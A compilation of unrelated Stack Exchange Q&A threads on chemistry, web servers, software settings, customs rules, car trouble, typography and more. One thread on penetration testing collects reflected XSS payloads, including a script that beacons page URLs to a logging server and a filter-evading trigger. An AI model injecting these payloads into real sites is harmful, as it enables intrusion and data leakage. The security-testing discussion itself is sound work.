$$\lim_{N \to \infty} \frac{\delta E}{\langle E \rangle}= 0$$
i.e., in the limit of large system size fixing the temperature is equivalent to fixing the energy.


What does the volume of a gas depend on?

Question: In my chemistry textbook, it states that the volume of a gas is directly proportional with the amount(number of moles) of that gas. However, it also mentioned before that the volume of a gas depends on its container. So if the volume of a gas depends on its container then wouldn't the volume not change as you add or take away gas molecules? As long as the container doesn't change wouldn't the volume of the gas stay the same?
Comment: What your book means is that, at constant temperature and pressure, the volume of gas is directly proportional to the number of moles.  But, in the case of a container, if you add gas molecules, the pressure increases.  So you can't apply the constant pressure rule in this case.
Answer: I must clear one thing up. gases always fill their container. If you take away gas particles, it will always fill its container. The volume of gas is proportional to many different factors, though. Based on the ideal gas equation, volume is proportional to moles and temperature. It is inversely proportional to pressure. when the text say that volume is proportional to amount, it is assuming all other variables are constant, and not changed. So yes, in general, as there is an increase in volume, there is an increase in number of moles of gas.


Need help to understand the URL for dynamic content

Question: As I understand, web servers are able to map the path component of an URL either into local file system resource or web-application name. Example for former would be http://www.example.com/index.html. In this case, as I understand it, the web server would simply take the /home/www/index.html file and return it to requester. Example for web-applications would be http://www.example.com/get-page.php?home=aaa.html. Am I correct that get-page.php is the web-application name, i.e script file /home/www/get-page.php which is executed in server and aaa.html is a value for variable home used in this script?
Comment: I had understood the PHP script was given solely as an example in the question and kept for consistency in my answer but yes @Zaibis is correct in that PHP is not the only server-side technology that can be used in creating dynamic content. Other popular alternatives might include .cgi, .asp, .aspx, .jsp, .pl, .cfm and there are many more. It is possible for a single website or web application to use a combination of these aswell depending on the web server configuration.
Comment: Also note: there i not just php capable for creating dynamic content. So asking about dynamic content and refering to php is kinda incomplete. for example richhallstoke's answer while saying yes to you (probabbly in regard to php) is correct. My own server site dynamic fcgi app written in C, which is also targeted by the wording of you question my answer would strictly have to be: now you are completly wrong!
Answer: In short, yes you are correct. The only big part of the equation you are missing is server-side URL rewriting - where essentially a request for http://www.example.com/aaa could be internally redirected by the web server software to
http://www.example.com/get-page.php?home=aaa.html
as a method of having more user-friendly URL's or pretty URL's.
If your webserver software is Apache then this is achieved using .htaccess files and RewriteCond/RewriteRule.
See mod_rewrite documentation for more information about this.
Comment: (b) It could be that speed.htm may not be a stored file as such - some embedded webservers behave more like a hardcoded question and answer setup rather than serving files from disk, for example a request handler may read the filename portion of the URL and just direct the request to an internal function such as `Speed(1)` and then send some headers/html back to the connection. Just because a device has an HTML interface doesn't mean the webserver implementation is standard/generic.
Comment: In this instance: (a) It could be that some javascript is revealing information or requesting/submitting information via AJAX requests using this speeddial parameter; or
Comment: I see, thanks! However, how to understand for example an URL `192.168.1.87/speed.htm?speeddial=1`? I mean `speed.htm` is an HTML file in /home/www/ directory, but what it does with variable named `speeddial`? This URL is from actual VoIP phone which has built-in web-server.
Comment: @richhallstoke: You mean HTTP interface, right?
Comment: Hmm no I did mean HTML interface as in for a webbrowser based user interface, but yes this would operate using HTTP protocol compatible requests similar to how websites work etc, but talking potentially to a non-standard or bespoke HTTP implementation which instead of serving or processing stored files/scripts it simply uses hardcoded event handler functions reading the requested path, query string and POST data as parameters.
Comment: @richhallstoke Thanks for reply! In that case I think it is the (b) because there seems to be no JavaScript on this page as `curl -su user:passwd 192.168.1.87 | grep -Ei "script|java"` returns nothing.


Exposed Form in Block Missing?

Question: I'm trying to create a view based on a Solr search index that includes a search form in a block. The view seems to be working based on the preview I see when editing the view. I have set "Exposed form in block: Yes" and "Exposed form style: Basic". The block is assigned to a region, and the block itself is rendered appropriately when the page is displayed. The problem I'm having is that the form is not displayed in the block. I see the block title, but no form and no button. What might I be missing here?
Comment: Sorry, this is with Drupal 8.7.5.
Answer: Exposed filters on blocks will only work if you've enabled ajax on the view. Try enabling that and your filters should appear
Comment: I set "Use AJAX" to  "Yes" under the Advanced settings. The search form still isn't visible in the block.
Answer: I found the solution to my problem. In addition to setting "Exposed form in block: Yes", I had to check the "Expose this filter to visitors, to allow them to change it" option for my "Search: Fulltext search" filter. The search form was properly displayed once that option was set.
Comment: If this is your answer, please mark it as accepted.

Exposed Form in Block Missing?


Can I deeplink for ahead of scheduled rides?

Question: When I offer a deeplink into the Uber app: can a set a pick-up time in the future? E.g. two hours from now?
Answer: Thanks for expressing your interest in such a feature! We currently don't have a deeplink parameter to set up scheduled rides. However, we captured your interest and will consider it for future improvements.
Consider subscribing to our blog post for API updates. Thanks!


What are the restrictions regarding bringing back items into the United States, bought in India?

Question: I am a US citizen planning to travel to India and I hear the shopping there is quite fair. In particular the electronics. I want to get a few items to bring back home with me. So are there any restrictions? In addition to this, I am not aware of the taxation rules regarding imports.
Comment: @GregHewgill I have heard that electronics are cheaper in India compared to the united states. A possible reason being the proximity to the manufacturer. Otherwise, I am not sure why this is true.
Comment: You are a US citizen?
Comment: Yes, US citizen flying out of LAX
Comment: With the number of people [asking about bringing stuff the other way](https://travel.stackexchange.com/questions/10990/how-much-electronics-and-other-valuables-can-i-bring-duty-free-when-going-to-ind), I'm surprised that you would want to *purchase* electronics in India.
Comment: @PeterM I don't think citizenship matters, only residency.
Answer: Straight from the source:

U.S. Customs and Border Protection  Duty Free Exemptions

If you are a U.S. resident returning from a foreign country with goods acquired abroad in your possession after a stay of 48-hours or more, you may be eligible for a personal duty-free exemption. If you are returning from Mexico, the 48-hour rule does not apply. The personal exemption you are eligible for depends on the country you are returning from.
For instance, if you are returning from countries other than the Caribbean countries or U.S. insular possession you are entitled to an $800 duty-free exemption and the next $1,000 worth of the goods you purchased is subject to a flat rate of 3%. If the value exceeds $1,800, the remaining duty will be determined based on duty rates in the harmonized tariff schedule, which are generally between 0-10% (except for clothing and textiles, which can be much higher, up to 25%).
If you are returning from a U.S. insular possession (i.e. U.S. Virgin Islands or Guam) you are entitled to a $1,600 duty-free exemption and the next $1,000 worth of the goods you purchased is subject to a flat rate of 1.5%.
If you are returning from a foreign country other than Mexico and were not there for a total of 48 hours you are entitled to a $200 duty-free exemption and the next $1,000 worth of the goods you purchased is subject to a flat rate of 3%. If the value of your goods exceeds $1,200, the remaining duty will be determined based on duty rates in the Harmonized Tariff Schedule.

Resident
"Resident" here basically means anyone who is not on a visitor's visa, and includes not only citizens and permanent residents (obviously) but also students (F1 visa holders), H1B visa holders etc.
Counterfeit goods
As asked in the comments, there are restrictions on importing counterfeit goods, but individuals are allowed to bring single instances of a counterfeit item so long as it is for personal use.  So importing one knock-off Prada bag is fine, bringing two more for your friends is not (even if the counterfeit brands are different on each.)  Full details are to be found here Customs Directive 2310-11A .
Comment: @handroski No restrictions on what you can bring back (food etc not withstanding), but certainly you have to pay duty over and above a certain amount.
Comment: @handroski Well there are some restrictions on amounts of alcohol and tobbacco and of course  agricultural/fresh food restrictions which are imposed by the USDA.
Comment: Aren't there restrictions on counterfeits as well? Like if you buy a knock-off name brand watch or purse.
Comment: @RoddyoftheFrozenPeas Counterfeit goods are OK for personal use only https://www.cbp.gov/sites/default/files/documents/2310-11a_3.pdf
Comment: @PeterM Thanks for the link. I've updated the answer since that link speaks more explicitly to the personal use issue.


Python version and Tcl/Tk compatibility

Question: I have installed Tcl and Tk, and I am running into the oh-so-familiar "No module named _tkinter" error.
My 'python' Bash command runs Python version 2.4.2, but Synaptic says I have 2.6.6 installed. I even tried installing 3.0, but that also failed.
I have configured and built the Tcl/Tk tarballs myself, and tried using the synaptic packages.
Both "wish" and "tclsh" commands work, so I know that the modules are installed, but I can't for the life of me get Python to recognize them. Moreover, I can't for the life of my figure out which version of Python I should be using and how to get my Bash command to use that one.
I don't see any options for 2.4.2 removal, and if I remove 2.6.6, it removes what seems to be most of my other packages (exaggeration, I know).
I really don't know where to go from here, so any guidance would be greatly appreciated.
Update:
I had to reinstall the python-tk package, and 2.6 is able to import it. Now I just need to figure out how to remove 2.4 for the sake of not screwing something up later on.
Answer: Here are a few commands which could help you diagnose your problem.
First, try to run the python command with the version number appended. Since
Synaptic says you have 2.6.6 installed you should be able to run python2.6 to
get that version:
(type 'python' and hit TAB to see possible completions)

% python<tab>
python
python2.6
python3.1

If you still can't get TK to run, find where the _tkinter.so module lives on
your system.  It may be somewhere the 2.6.6 interpreter can't find it.  Here's the location as installed by python-tk package on Ubuntu Lucid:
% find /usr -name '_tkinter*'
/usr/lib/python2.6/lib-dynload/_tkinter.so

Answer: Just an update for those who land on this page, regarding Python 3+ (like I have). To run tkinter on a Debian-based Linux (Ubuntu), python3 is needed, as well as python3-tk (it's not in the library list):
sudo apt-get install python3
sudo apt-get install python3-tk

Also, the script needs to have this as the first line:
#! /usr/bin/python3

At least that is how I solved the problem.

Python version and Tcl/Tk compatibility


Royal Wedding Audio Sync Issues

Question: So, I can't say that I much care about the wedding that took place this morning.  But I did catch a bit of it on the TVs at work.  I was surprised to see that the audio was swinging in and out of sync with the picture.  I can see there being a delay across both video and audio, but just the sound seems a little bit weird.  Anybody know why this might be?  Did somebody screw up the sample rate pulldown or something?
Comment: You're in TO right? CBC or CTV feed? CTV is kinda notorious for having it's HD feed out of sync...CBC is usually pretty good though.
Comment: Yeah I noticed that too.
Comment: It was the CBC feed.  Although, I'm pretty sure they did a consortium thing to buy the rights for broadcast and shared it amongst all of the networks.
Answer: I saw this sync issue on the Today Show feed as well, so I assume it was switched in a truck locally and then distributed. Having worked as a sound engineer for various conferences and other multi-camera events, such as TED and eg, I can tell you that video always takes longer to process than audio in the truck. Sound is never late, always video, because there's a lot more information to process. It looked to me as though the long lens cameras had much more delay than those near the altar. I imagine there was some extra processing on those long lens cameras of some sort for some reason, not sure what that might be, going on in real time that required what looks like 300ms of delay. For example converting SD to HD or changing frame rate has required that amount of frame delay on events I've worked on. In those cases, the delay was consistent, I just delayed microphone audio to make everything match up. As hardware improves, so do demands. Anyhow, I noticed there were only a couple of camera angles with the sync issue. Audio cannot delay different amounts for different cameras shooting the same scene, because that would create huge glitches. So the folks in the truck were bitching about that the whole time, I'm sure, and then there probably were some beatings afterwards.
Comment: You would think they would test these things before-hand.
Comment: True, but it's like working with video in Pro-Tools.  Sometimes you open the session and everything's bang on, other times you're a head, other times behind, even with the same video codec coming from the same system.  Happens to me all the time.  I can't imagine what it'd be like having to deal with it in a live situation.
Answer: It normally occurs when you compress the data as video and audio use different codecs, usually the audio is delayed to keep it in sync.

Royal Wedding Audio Sync Issues


How does one get a tie game in Starcraft 2?

Question: I've seen "Tie" game results in others' match histories. When a game is considered a tie?
Comment: This isn't really an answer, but I can say I wish there were either better logic to detect a draw, or a way for each player to submit to a draw so neither player loses matchmaking value.  For instance, I played on a map where I only had one or two land units left, but both of us had flown our command centers off the ground accessible areas, so neither of us were able to win (and all other resources and SCV/probes were all destroyed).  The other person eventually surrendered after waiting for a half hour, but it shouldn't have come to that.
Comment: I imagine if the battle.net servers hosting the game restart during your game that would happen, but since this is pure speculation I'm putting it in a comment instead of an answer.
Answer: Patch 1.2.0 introduced the possibility of a tie in melee games:

Stalemate Detection has been added. This will end the game in a tie for all remaining players if no players have income, production, or destroyed structures for three consecutive minutes. A countdown timer will now appear when the game detects this scenario.

Patch 1.3.0 changed the parameters a bit.

The stalemate timer will now reset when any player gathers resources, researches an upgrade, produces a unit, constructs a building, or destroys an enemy building.
Answer: I received a Tie Game once in a 3v3 league game.  During the initial load before the match began, everyone was suddenly dumped back to the Battle.net menus (Battle.net did NOT go down).
There may be other ways of getting one, but it looks as though getting dumped due to unknown server issues is one way.
Answer: As far as I know, the only way for this to happen is in custom maps where no victory conditions are met (or the map designer didn't define any).
I've never seen it occur in a melee (standard) game. If a melee game ends up in an in-completable state (i.e. A Terran player floats a building to an unreachable corner of the map and the other player doesn't have enough money to build a flying unit) it will come down to whichever person gets bored first and surrenders.
Comment: Actually, I think there's a time limit to match length. I can't find the link now, but I seem to recall reading that if a match goes on to like 8 hours or something, it's declared a draw.
Answer: Sorry, misunderstood the kind of tie you were talking about...
So, besides custom game ties:
This happens when the Battle.net server is offline when you finish the game,
even if you can continue to play it won't be able to send the results to Battle.net.
Another reason for this to happen is when the game desyncs which also results in a tie,
this one has been actively being exploited by cheaters (desync opponent, let it report a win).
Comment: Is this speculation, or do you have a reference?
Comment: The issue discussed in that article is people leaving team games as soon as they start and still getting credit if their team manages to pull off a win without them. It doesn't mention any desync exploits.
Comment: Sorry, wrong link... Look it up if you want to, I'm not going to share exploits! [Here is an example account.](http://eu.battle.net/sc2/en/profile/791268/1/Ownage/)... Masconejos' answer is an example of a victim. Updated answer with screenshot...
Comment: That screenshot and last paragraph have nothing to do with the question.
Comment: look at the "match date" times....
Comment: Good job on down-voting two valid reasons which result in a Tie on the other side. :-)


Car Does Not Start Periodically

Question: My 2004 Mercury Sable LS randomly does not start.  I turn the key and nothing happens.  I have called AAA twice to jump the battery and they tested the system twice.  The results are that the battery has lots of juice, the starter tests fine and so does the alternator.  It started fine for me an hour ago but when I leave work it will be a coin flip whether it will start.  Is one of the pieces parts going bad?  How do I solve the mystery?
Comment: I have to many questions to be able to post an actual answer. So maybe if you can [edit] your post with these details we can help you get to the cause. When your car starts, does it do it easily? In other words, does it crank slow or sound difficult when it does start? How are the cables and connections? Corrosion or damaged cables?
Comment: Have you tried putting the shifter in neutral and see if it starts? This could isolate it to a safety switch fault.
Comment: It could be an intermittently bad starter, ignition switch, or solenoid.  Putting it into neutral sounds like a good idea.  You can get some useful information if you get a voltage meter that plugs into your cigarette lighter and plug it in when you try to start the car.   They sell them at autoparts stores for about ten bucks.  You might not want to leave it in the lighter in case the lighter circuit is always on.  It would run down your batt. It should read 12.7 to 12.8 Volts and then drop a bit when you try to start the car.  If it doesn't drop it's probably the switch or the solenoid.
Answer: This past weekend, I tried to return a 3 month old battery to my local auto parts store. After charging for 2 days, it showed 11.9 volts. It should have been ~12.8 volts. It's factory rating is 440 CCA. Of course, at 11.9v it could not start the car.
Do you know what they told me when they tested it? IT "PASSED". It tested at 11.9v (no load) and 170 CCA of 440 CCA. Are you kidding me, that's a pass by their standards??! They ended up replacing the battery.
My point is, just because they said it passed does not mean it has enough juice to start YOUR car. This seems especially probable, gathering from what you said, that after they jumped it, it started fine.
Do you have/recall the test results of the battery?
Comment: The battery might be fine, but the charging system isn't charging it correctly or you could have a parasitic drain that's draining it when it sits.  The real test of the battery would be if it comes up to 12.8 volts when it's on a charger.
Comment: Yup, only one way to find out. Batteries go up regularly, alternators and shorts "*shouldn't*" be as common. Of course, for every person that says they had to replace their alternator every 2 years; there's probably 5 cars that go their whole lifespan with no alternator problems. FWIW.
Answer: I am going to assume AAA tested the system with a battery load tester and tested the starter by starting it a few times while they were there.
Possible problems to look into

does your alternator give enough power? Get a volt meter and when the car is running measure the voltage between the positive and negative terminals of the battery it should be 13.5 minimum and no more than about 14.75 if it is lower it may be the alternator going out.
I am going to assume all the other electronics work ok but when trying to crank does the whole car go dead? this can be a sign of a loose connection. Either way you should check your battery cables at both ends for fraying or loose connections. you should also check the cable going to your starter
try smacking the starter with a wrench and see if it starts this could be a sign of bad or gummed up brushes. Usually you can hear the starter click the gear in place but no cranking sometimes no depending on how it is wired internally.
does the starter make some rapid fire clicking? If so then check connections and battery charge.
Answer: Occasionally wont start. Battery fully charged. Dash lights on- Maybe the gear stick isn't locked properly into "Park". Try moving gear stick and/or try starting it in "Neutral". Good luck John.
Comment: Hey John, Welcome to the Mechanics Stack Exchange!

This answer doesn't provide a clear solution or details on troubleshooting, and would be better suited for a comment.

Could you try and clear up your answer to provide some better information?

Car Does Not Start Periodically


What is the optimal vertical margin between paragraphs?

Question: Here on ux.StackExchange they have gaps that are a bit smaller than one line height (~88%), but I've read a few times that 100% of the line height provides best readability because it continues the grid of the text lines. I personally find the 100% gap a bit too tall. Does the eye even process these gaps as parts of a grid?
Comment: I asked a [question about ideal text column widths over at graphicdesign.stackexchange.com](http://graphicdesign.stackexchange.com/questions/13724/recommended-column-width-for-text-reading-digital-vs-printed) and the consensus seems to be that while there is guidelines for typesetting, it requires a visual eye and is always context-dependent. In the answers @MarcEdwards  [linked to a good article on readability](http://psychology.wichita.edu/surl/usabilitynews/72/LineLength.asp) - maybe it is of help to you also.
Comment: It depends upon the width of the measure - so there isn't really a single 'optimum margin' per se.
Comment: @JimmyBreck-McKye Do you have a source for that?
Answer: Your content will have its own tone, rhythm and meaning.  One of the main jobs of typography is to help bring this out.
As kontur stated "it requires a visual eye and is always context-dependent".  While it is true that the final choice should come down to your specific example typography is quite an old art and has a lot of guidlines.
While there are no hard and fast rules, these guidelines should help in most situations:

Try to set a baseline grid.  This will help your page maintain a vertical rythm.
As line lengths get longer or font sized get larger you should increase line heights (in typography this is known as 'leading').  This makes it easier for youe eye to scan back to the start of the next line.  A line height of 1.5 times the font size is usualy a good starting point.
Do not make your line heights (or paragraph spacing) too high or the text will appear fragmented.
Paragraph spacing is usualy less than a single line height (often 75% - 90%).  This is to compensate for the lack space taken up by descenders (there are no descenders on a blank line).
Each new paragraph should be clearly seperate from the last but not so seperate that it looses continuation.
Use 12 point font size as a minimum.  This usualy equates to 16px but not always.
Stop your text feeling cluttered by using enough whitespace.
I am also a big fan of using the golden ratio for many layout solutions (not just text).

Typography is a subject that can (and does) fill whole books (and lots of them) and can take a lifetime to master.  It is always worth getting a graphic designer or better yet a typographer to check what you have done - they will be able to quickly give you tips for improving your specific examples.
Some more reading for you:

The Perfect Paragraph
The Paragraph in Web Typography & Design
Setting Type on the Web to a Baseline Grid
The Optimal Text Layout is More Than Line Length
Secret Symphony: The Ultimate Guide to Readable Web Typography (using the golden ratio in web typography)
Typographic Design Patterns and Best Practices
Comment: It is most important that it **comminicates effectively**.  That is the point off all graphic design and typography.  Visual hierarchy, grid layouts, optimal line length, font choice - they are all there to aid the ease of communication.  It is *not* important that the distances are consistent and symmetric *if it does not aid in this cummunication*.  Baseline grids and rhythm should be discarded *if they are not helping to get the message across*.
Comment: But are there actual findings that a baseline grid or *rhythm* can be even perceived by the eye? Or is it more important that the distances are consistent and symmetric? In this [example](http://media.smashingmagazine.com/wp-content/uploads/2011/11/vertical.jpg) I would move the second paragraph up a bit, so that the distance of the headline equals the distance to the top paragraph instead of typesetting the baselines in a grid.
Answer: The best readability that I have personally tested observed time and again is the golden ratio, keep the line height at 1.61803398875 and check out the paragraph readability. Anything more makes the UI waste a lot of space whereas anything less does not convey optimal readability


Implement a component like "Recent Items" in Sidebar

Question: I've been implementing a new component to use in sidebar, I created a visualforce page, a controller and a Custom Component HTML Area(Setup>Customize, Home Page Components). I must to use "iframe" to call my VF page, but I lose all my css reference from Sidebar inside the iframe and I don't know how to show my object list using the style equal the standard component "Recent Items", someone can help me?
Comment: As far as I know, if you use a VF page, you can have standardStylesheets attribute of the apex:page tag set to true. Maybe that's also available for home page components?
Comment: I tried to set the tag with true, but it still not working.
Comment: If you use the default stylesheet, you'll still need to figure out what styleclasses and elements you have to use. Use a tool like firebug to figure out what you need.
Comment: Ok, I'll try now to figure out everything that I need. Do you know which component Salesforce uses to implement "Recent Items"?
Comment: CSS for recent items is mostly defined in extended.css and common.css -- search in this files for .recentItemModule or .mruItem -- but if you use firebug you see it much clearer -- I'll update my answer for that.
Answer: There will be a new Visualforce Area Home Page Component available, which should make task like this much simpler. Look at the Summer '14 Release Notes here:
http://docs.releasenotes.salesforce.com/en-gb/summer14/release-notes/rn_forcecom_home_page_components.htm
Like mentioned by Lex you should use Firebug to figure out the CSS. Look at e.g. the recent items. It's easy to replicate that look and feel, even to improve it using jquery.
Quick-How-to

Use Mozilla Firefox
Install the Extension Firebug
Right-click on a recent item (from the original Salesforce List!)
select "Inspect Element with Firebug"
look at the bottom part of firefox, you'll see firebug there
there is a HTML-Tab showing the SF Markup
on the bottom right, there is a Style-Tab showing which CCS applies
you can click in the style-tab an tweak it realtime
you can also realtime tweak in the html tab
now try to nest your stuff in  and  elements similar to the way salesforce does.
You will probably use an  to create the markup https://www.salesforce.com/us/developer/docs/pages/Content/pages_compref_repeat.htm
learn as much CSS to understand how selectors work
if your page loads the standard CSS it should work
if not, replicate the relevant CSS Salesforce is using in extended.css and common.css
do not copy everything!
put the CSS inside a  tag right on your page
check the results with firebug
tweak it as long as it looks like you want it
also check out jquery http://learn.jquery.com/about-jquery/how-jquery-works/
have a look on how selectors work in jquery
look at the css() function http://api.jquery.com/css/

I'm not exactly sure how experienced you are with CSS/JS, but you need some basic understanding. Please ask if you need more help on that.
Comment: Thanks Uwe, I'll take a look in your answer, actually I'm looking for time to do it. I've been working at other functions.


How does one repent from Zina and avoid it?

Question: If a person commits Zina, is this forgivable? If so, then how is forgiveness attained?
Answer: Seek forgiveness from Allah and refrain from such immoral acts, no need to post your sins online. Let the matter remain between you and Allah, the less witness you have the better
Answer: You can't fix what has happened already. So, stop trying to fix it and start repenting for your sins. Allah says (what means):

Say, "O My servants who have transgressed against themselves [by sinning], do not despair of the mercy of Allah . Indeed, Allah forgives all sins. Indeed, it is He who is the Forgiving, the Merciful." [Quran 39:53]

Good deeds efface bad deeds, so try to do more good deeds (e.g. charity, prayer, fast) to efface your sins.

Ibn Mas'ud (May Allah be pleased with him) reported:
A man kissed a woman. So he came to the Messenger of Allah (ﷺ) and
  informed him about it. Then Allah revealed this Ayah: "And perform the
  Salat, between the two ends of the day and in some hours of the night.
  Verily, the good deeds efface the evil deeds (i.e., minor sins)."
  (11:114) The man asked the Messenger of Allah (ﷺ) whether this applies
  to him only. The Messenger of Allah (ﷺ) said, "It applies to all of my
  Ummah."
[Al-Bukhari and Muslim].


Show original shortcut in MacOS 10.14

Question: I often make symbolic links of folders. I recently had to change my laptop and move from Sierra to Mojave.
In the old OS I used to type Cmd + R to go to the original folder. This seems to no longer work. The official apple website still has Cmd + R as the shortcut (https://support.apple.com/el-gr/HT201236).
Comment: Check if there's a menu item for the same action. If it exists, it'll likely list the shortcut right there. An easy way to find a menu item, if you can sort of guess what the name would be, is to open the `Help` menu and type the name right there. Can't check it myself right now.
Comment: Thanks, I did not think about that. Seems like it's now cmd + option + ctrl + a
Not the easiest shortcut to type...
Answer: You can change it to Cmd+R. Go to System Preferences > Keyboard > Shortcuts (tab) > App Shortcuts (left sidebar) click the plus and in the window: Application: Finder, Menu title: Show Original Just the menu item written exactly as it is in the menu, Shortcut: Cmd+R.

When you change the shortcut, it'll show up in the menu item.

Show original shortcut in MacOS 10.14


Gimp Clone Tool Glitch

Question: I guess I'm getting a glitch in the newest version of gimp, when I'm trying to use the clone tool it's not just working fine, it's not cloning at all its just draw other things

Answer: You seem to have set the alignment to "fixed" shown circled in green below. Are you sure that's what you want?  Also you have set the clone to source to a pattern. Are you sure you want this?

Perhaps try using the alignment setting "none" or one of the other options.  If you set it to "fixed" the clone source is reset to the same point for each step of the brush stroke, which will result in that weird pattern.
Here's an example with the alignment set to "none".  Is this closer to what you were expecting?

If you don't want to clone from a pattern - set it to "image" as the source. Then CTRL+click on the image to set the target point for the source, then you can clone from the image.

For a more detailed description of the tool, be sure to check out the documentation in the GIMP user manual here: https://docs.gimp.org/en/gimp-tool-clone.html
Comment: Thanks a lot, yes now I found out that wasn't what I wanted instead of pattern I should've pick image
Answer: You are so close to finding the answer yourself.
To the right of the red ring in your screenshot, there is the possibility to choose Image as Source instead of Pattern.
Click the tiny down arrow next to the word Pattern and choose Image instead.
Comment: No problem, please accept the answer so it can benefit others (and I can get points :-)).

Gimp Clone Tool Glitch


Any non alert() based non malicious XSS payloads?

Question: I have been trying to find non malicious, non alert based, single command reflective XSS payloads, and have so far seen none. Anybody know of any good ones for pentesting purposes? What I mean by single line is a non alert or popup based version of javascript:alert(1); that can demonstrate reflective XSS
Comment: Probably trying to test for rXSS on a site that blacklists requests with "alert" in them. I've seen that before. It's stupid, since a real attack would never be using alerts, but since when has that stopped people who just want to check a box saying "the tester found no XSS"? Anyhow, there's a ton of ways to detect script execution without relying on alerts.
Comment: What is the thing you are trying to achieve? If you would specify why alert is not good for you, that might help getting the desired answer. Anyway, my first thought was window.location = "http:// what.ever";
Answer: You can try console.log('XSS').
Answer: For testing purposes, I think the most useful one is a HTTP request. This allows your server to log URLs which successfully reflected the XSS.
(new Image()).src = "https://localhost/log_xss?from=" + window.location;

You can also wrap it in a userscript:
// ==UserScript==
// @match <all_urls>
// @run-at document-start
// ==/UserScript==

Object.defineProperty(window, "f", {
  get: function () {
    // Your function, you can change if you want.
    (new Image()).src = "https://localhost/log_xss?from=" + window.location;
  }
});

Then testing for XSS is just as easy as:

<input onfocus=f autofocus>

There are two advantages:

It can help to bypass some XSS filters. "f" doesn't have any special characters, so it's very likely it won't be filtered. You'll still have to write a full payload that bypasses the filter, but it may help for detection.
It's also more discrete since the pentested site will never get your server's URL.
Answer: With DOM-Manipulation one could change the page itself. In case one knows the target page, it can be manipulated in some nice ways.
An easy example would be:
document.body.innerHTML = 'XSS';

Answer: I usually do a Google image search for an amusing image, save this to my own HTTPS server and then create an  tag using the XSS vulnerability.
With a bit of imagination, this can demonstrate the vulnerability in a humorous way.
Also check out the http://www.xss-payloads.com/ site for other interesting payloads.
Answer:
If put somewhere non-persistant.
Comment: This does not seem non malicious, as specified in the question, at all. And I strongly believe all serious web sites use HttpOnly flags on their session cookies in 2016, so this technique is kind of out-of-date. Regards.
Comment: Please check your understanding of [reflected vs persistent XSS](https://en.wikipedia.org/wiki/Cross-site_scripting#Reflected_.28non-persistent.29). It's not the _alert_ that makes it reflective!
Answer: For demonstration purposes, you could do a document.location redirect to a different website. A fun one would be to inject the Harlem Shake js that makes everything on the page dance.
Answer: Depending on your audience you could also inject some javascript nonsense like a matrix screensaver (this for example).


Is missing an initial interview request phone call considered bad form

Question: If you get a phone call from an interviewer about a position you have applied for, and you miss the initial call which regards them telling you that you have been shortlisted and are eligible for an interview, and then subsequently leave you a voice message to tell you; and you subsequently call them back later in the day, is that grounds for a black mark to your name?
Comment: The funny thing is, it's probably a good thing.  If I were calling you, I'd wonder why you'd have time to take the call.  When I call back applicants, I honestly expect voicemail.  It actually surprises me if I reach them.
Comment: Its pretty normal to miss a call. No one minds it, as long as you get back to them :).
Comment: @Erik - I didn't think it was "enough' to be an answer.  Kind of on the line.  I'm not exactly short on rep points on this board, and I'm trying to "leave room" for others, lately.
Comment: Interesting way to look at it! I often forget that we can be as desirable to them as they are to us.
Comment: @WesleyLong why don't you put that as an answer? :)
Comment: I think the very presence of the voicemail is a good hint. If they had blacklisted you, the wouldn't have bothered.
Answer: No, If you just get called without a previously agreed time, you can not be expected to be always ready to answer the call.
It´s just information transmission and the requiter thought calling might be the fastest way. If you call back, everything is fine!
Answer: It should not be a "black mark" to your name if the call was unscheduled.  Most people will expect you to have a life and not be waiting anxiously by your phone.
In a way, this is an opportunity to carefully listen to the message, review the materials you've been provided and refine your research before reaching back out to your caller.  In a small way, it can be used to give yourself a slight advantage over a shortlisted candidate who unreadily answered the phone call.
Answer: I'm going to answer both sides of this question - for both recruiters and candidates:
Recruiters and interviewers work the same office hours as everyone, and should expect to get a voicemail instead of a real person when they make an unscheduled call (given that you possibly sent your application in days or even weeks before they call candidates, there's no way you could know when they would be making the initial phone contact). They also shouldn't expect to be able to ask more than a couple of questions in this first contact ("are you still interested/available?" and "would you be available for a phone screening or face-to-face on such dates?").
Calling them back either later in the day, or early the next business day, is a reasonable response time. For similar reasons to you not being able to answer at any given moment, you are likely not able to respond at any given moment.
I'd not leave it longer than the next business day though - the interviewing process is an annoyingly fitful one from an applicant's viewpoint (open ads for weeks, then contact all potential candidates in one or two days, then wait for all of the interviews to be conducted, then contact the successful ones for further interviews, then wait for all those to be conducted, then "quick please make a decision on our offer").
I'd also make sure that my voicemail sounds entirely professional (if you can override the network's default), and don't promise any response faster than "as soon as I am able".
Even if the recruiter/interviewer emails you following the initial phone call, I would still call them back as a courtesy (there's a good chance the email was just a blast from their job portal - and you calling back will stick in their head), as well as respond to the email.
Answer: The general rule I was always taught was to return a call/email from the morning in the afternoon, and a call or email in the afternoon the next morning.
Now, of course, if you get a call at 8:00 am, returning it by 11 or 12 is not going to make you seem desperate, the same thing goes for getting a call at 12:30 and returning it by 5.  As a general rule though, it's a good rule of thumb
It is not seen as unprofessional to do so because everyone is busy.  Answering too quickly may make you seem desperate or unprofessional.  I'd be asking myself why you had so much free time, for example.
As an aside:  In general, don't be too concerned about losing "points" when job hunting.  If they want you, you'll have to do something a bit out of the ordinary for them to pass you up.  Job hunting is a stressful time, don't add to your own stress.


Pi Camera LED blinking

Question: I have gotten back to using my Model B Revision 2.0 Pi.  After starting it up, I noticed the red LED on the camera is blinking (not the Pi itself, that one is solid).  When I take a picture, the camera's LED goes solid for a time, but then it gets right back to blinking.  I have been trying to find documentation on its behavior without much success.  Could anyone point me to the relevant source, or tell me what the camera's LED means when it is blinking?  I am not interested in disabling the LED at this time.
Comment: Is it a Chinese fake camera? They don't behave in the same way as the genuine Raspberry Pi Foundation cameras.
Answer: For those whom it may concern -- found out the issue.  Forever ago I had configured a program to run on startup that continually takes a picture.  Took a look at top, found it, killed it, and the camera light is now off.

Pi Camera LED blinking


How can I conditionally apply a Linq operator?

Question: We're working on a Log Viewer. The use will have the option to filter by user, severity, etc. In the Sql days I'd add to the query string, but I want to do it with Linq. How can I conditionally add where-clauses?
Answer: if you want to only filter if certain criteria is passed, do something like this
var logs = from log in context.Logs
           select log;

if (filterBySeverity)
    logs = logs.Where(p => p.Severity == severity);

if (filterByUser)
    logs = logs.Where(p => p.User == user);

Doing so this way will allow your Expression tree to be exactly what you want. That way the SQL created will be exactly what you need and nothing less.
Comment: Hi Do you have any suggestions for making the where clauses ORs instead of ANDs ..?
Comment: Yeah... it's a bit tough to do. The best I've seen is through the specification pattern and pulling the predicate into the specification and then calling specification.Or(someOtherSpecification). Basically you have to write your own expression tree a bit. Example code and explanation here: http://codeinsanity.com/archive/2008/08/13/implementing-repository-and-specification-patterns-using-linq.aspx
